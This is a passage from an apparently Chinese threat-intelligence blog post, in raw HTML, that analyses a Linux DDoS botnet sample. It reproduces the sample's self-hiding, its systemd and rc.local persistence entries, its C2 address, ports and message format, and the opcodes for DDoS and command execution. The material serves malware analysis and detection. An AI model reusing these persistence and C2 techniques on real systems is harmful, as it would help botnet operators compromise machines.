&#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下的信息</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-aistatus="1" alt="hide_self.png" class="rich_pages wxw-img" data-ratio="0.38271604938271603" data-type="png" data-w="567" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000708" src="https://wechat2rss.xlab.app/img-proxy/?k=43aacefb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yUHPGQmB1I32ZDjuHgc6LDqaNDgNYJKDHYKhhZAKWyicRXrmzicHywbRE9AqNwXXyBZ2hcMCmrhX7Y1r5q1TQuhrJlMyoSJwmibM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">/proc/[PID] -&gt; /tmp</span></code></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">持久化</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">复制自身到</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/sbin/gots</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/usr/bin/%s</span></code></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下文中的</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">%s</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为文件名，</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">botid</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为样本运行的第一个参数，如果无参数默认为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">x86</span></code></p><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/etc/systemd/system/%s.service</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下创建服务</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">[Unit]\nDescription=AutoStart Service</span></code><br/><code><span leaf="">After=network-online.target</span></code><br/><code><span leaf="">Requires=network-online.target</span></code><br/><code><span leaf="">[Service]</span></code><br/><code><span leaf="">Type=oneshot</span></code><br/><code><span leaf="">ExecStart= /usr/bin/%s botid</span></code><br/><code><span leaf="">RemainAfterExit=yes</span></code><br/><code><span leaf="">Restart=no</span></code><br/><code><span leaf="">[Install]</span></code><br/><code><span leaf="">WantedBy=multi-user.target</span></code><br/></pre></p><ol class="list-paddingleft-1" start="2"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/etc/rc.d/rc.local</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/etc/rc.local</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">实现持久化</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__comment"># AutoStart</span></span></code><br/><code><span leaf="">/sbin/gots botid &amp;</span></code><br/></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">C2与网络协议</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">随机选择硬编码在样本中的</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">45.95.*.*</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">或者字符串表中的</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">aura.kabot[.icu</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">作为C2</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从4个端口中随机选择一个连接：</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">3489, 5098, 6608, 7489</span></code></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">明文消息格式:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">type</span> Message{</span></code><br/><code><span leaf="">    msgType <span class="code-snippet__type">uint8</span> </span></code><br/><code><span leaf="">    pLen    <span class="code-snippet__type">uint16</span> </span></code><br/><code><span leaf="">    padding <span class="code-snippet__type">uint16</span></span></code><br/><code><span leaf="">    randLen <span class="code-snippet__type">uint16</span></span></code><br/><code><span leaf="">    randByte []<span class="code-snippet__type">byte</span></span></code><br/><code><span leaf="">    paylaoad []<span class="code-snippet__type">byte</span></span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">消息类型和所代表的功能</span></p><table><thead><tr><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">msgType</span></p></th><th><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">desc</span></p></th></tr></thead><tbody><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">1</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">DDoS</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">task done</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">3</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">ping</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">4</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">handshake</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">botid</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">6</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">login</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">7</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">pong</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">8</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">exec cmd</span></p></td></tr></tbody></table><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">协议基于ChaCha20算法实现。其核心特征在于双向独立的持久化流状态，配合硬编码密钥进行初始会话协商。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">协议交互分为四个关键阶段：</span></p><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">初始上线</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot 端主动发起，发送明文上线包。</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-aistatus="1" alt="rand_bug.png" class="rich_pages wxw-img" data-ratio="0.24450811843361986" data-type="png" data-w="1047" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000711" src="https://wechat2rss.xlab.app/img-proxy/?k=d2e676f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8waXiaHuia3t78gicicPGtA8OkvJzMMibMD29aQCZJgNaGhSgW130iaqBxMCMPnzDcKiaG6YdNzb45NQMdsDPfWNE1P1vnUqfk1HzKUJ4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">由于随机函数代码bug，导致消息的随机数据长度为0同时上线包无payload，因此上线包hex为</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">06</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">00</span></span></code></pre></p><ol class="list-paddingleft-1" start="2"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">密钥协商与 Nonce 分发</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 